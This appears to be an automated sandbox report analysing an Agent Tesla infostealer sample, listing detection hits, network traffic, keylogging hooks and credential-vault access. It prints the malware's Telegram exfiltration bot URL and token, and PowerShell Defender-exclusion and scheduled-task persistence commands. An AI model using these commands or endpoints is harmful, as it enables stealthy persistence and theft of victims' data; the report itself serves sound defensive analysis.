Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2780, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp", ProcessId: 3496, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 149.154.167.220

Timestamp:	04/19/24-19:33:10.146400
SID:	2851779
Source Port:	49708
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 149.154.167.220

Timestamp:	04/19/24-19:33:06.739874
SID:	2851779
Source Port:	49706
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendMessage?chat_id=1210558492"}
Source: vZkoWbol.exe.7324.12.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe

ReversingLabs: Detection: 71%

Multi AV Scanner detection for submitted file

Source: z1E-catalogSamples.exe

ReversingLabs: Detection: 71%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: z1E-catalogSamples.exe

Joe Sandbox ML: detected

Source: z1E-catalogSamples.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49738 version: TLS 1.2

Source: z1E-catalogSamples.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe

Code function: 4x nop then jmp 0663B1F7h

7_2_0663AB8C

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49706 -> 149.154.167.220:443
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49708 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc60a788f191e0Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc60a78b10ac3bHost: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc641d35d1784cHost: api.telegram.orgContent-Length: 67144Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc6905e4c74819Host: api.telegram.orgContent-Length: 67144Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc6e654d78418eHost: api.telegram.orgContent-Length: 67144Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc71aad670e85bHost: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc74196518f1ddHost: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc6a4172022d82Host: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc78741e30d00bHost: api.telegram.orgContent-Length: 72005Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc6ed5c7b45081Host: api.telegram.orgContent-Length: 67155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc70f0a363c025Host: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc72be64e6da25Host: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc801ba947090dHost: api.telegram.orgContent-Length: 67155Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc781440ce2291Host: api.telegram.orgContent-Length: 67138Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc84175737ff0bHost: api.telegram.orgContent-Length: 67138Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc7d9f4e31c274Host: api.telegram.orgContent-Length: 67138Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc8b4b8f6210f4Host: api.telegram.orgContent-Length: 67138Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc8048c2fa9c0cHost: api.telegram.orgContent-Length: 67138Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc8f1ec5eab97fHost: api.telegram.orgContent-Length: 67138Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc91ad9f6f5749Host: api.telegram.orgContent-Length: 67138Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc94e8357314faHost: api.telegram.orgContent-Length: 67138Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc8528d0ad5c27Host: api.telegram.orgContent-Length: 67138Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc60a81bbe05f3Host: api.telegram.orgContent-Length: 67151Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc60a81bbe05f3Host: api.telegram.orgContent-Length: 67151Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: unknown

HTTP traffic detected: POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc60a788f191e0Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive

Source: z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000036A3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003707000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000033E3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000035F0000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000031E2000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000334D000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000327E000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: z1E-catalogSamples.exe, 00000000.00000002.2101535049.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2139622475.000000000326F000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003306000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003388000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000036A3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000329A000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000033E3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000035F0000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000031E2000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000334D000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000327E000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/
Source: z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003306000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003388000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000036A3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003707000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000329A000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000033E3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000035F0000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000031E2000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000334D000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000327E000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument
Source: z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003306000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgDAh

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49738 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, n00.cs	.Net Code: _9Pddo
Source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, n00.cs	.Net Code: _9Pddo

Installs a global keyboard hook

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\z1E-catalogSamples.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\vZkoWbol.exe

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: z1E-catalogSamples.exe, NominalArffToBin.cs

Large array initialization: : array initializer size 616556

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 0_2_065B0040	0_2_065B0040
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 0_2_01619BF0	0_2_01619BF0
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 0_2_0161E368	0_2_0161E368
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_0304A150	6_2_0304A150
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_03044178	6_2_03044178
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_0304E0E1	6_2_0304E0E1
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_03044A48	6_2_03044A48
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_0304A9E0	6_2_0304A9E0
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_03043E30	6_2_03043E30
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_0304DC68	6_2_0304DC68
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CD8B8C	6_2_06CD8B8C
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CD1BA8	6_2_06CD1BA8
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CD1BA3	6_2_06CD1BA3
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE65C8	6_2_06CE65C8
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE55A8	6_2_06CE55A8
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CEB2B9	6_2_06CEB2B9
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE2350	6_2_06CE2350
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CEC168	6_2_06CEC168
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE7D60	6_2_06CE7D60
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE7680	6_2_06CE7680
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CEE388	6_2_06CEE388
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE0040	6_2_06CE0040
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE0006	6_2_06CE0006
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE5CC8	6_2_06CE5CC8
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_06CE0342	6_2_06CE0342
